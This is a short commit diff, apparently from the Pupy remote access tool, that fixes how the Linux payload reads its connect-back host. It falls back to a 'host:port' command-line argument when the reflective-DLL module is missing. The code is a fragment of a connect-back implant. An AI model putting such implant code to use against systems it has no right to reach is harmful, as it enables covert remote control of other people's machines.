Linux payload was not properly setting the HOST variable

This commit is contained in:
byt3bl33d3r 2015-09-23 15:30:25 +02:00
parent 25f948839d
commit ad26c16293
1 changed files with 3 additions and 3 deletions

View File

@ -87,10 +87,10 @@ def main():
HOST=pupy.get_connect_back_host() HOST=pupy.get_connect_back_host()
except ImportError: except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
else: else:
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
add_pseudo_pupy_module(HOST) add_pseudo_pupy_module(HOST)
attempt=0 attempt=0
while True: while True: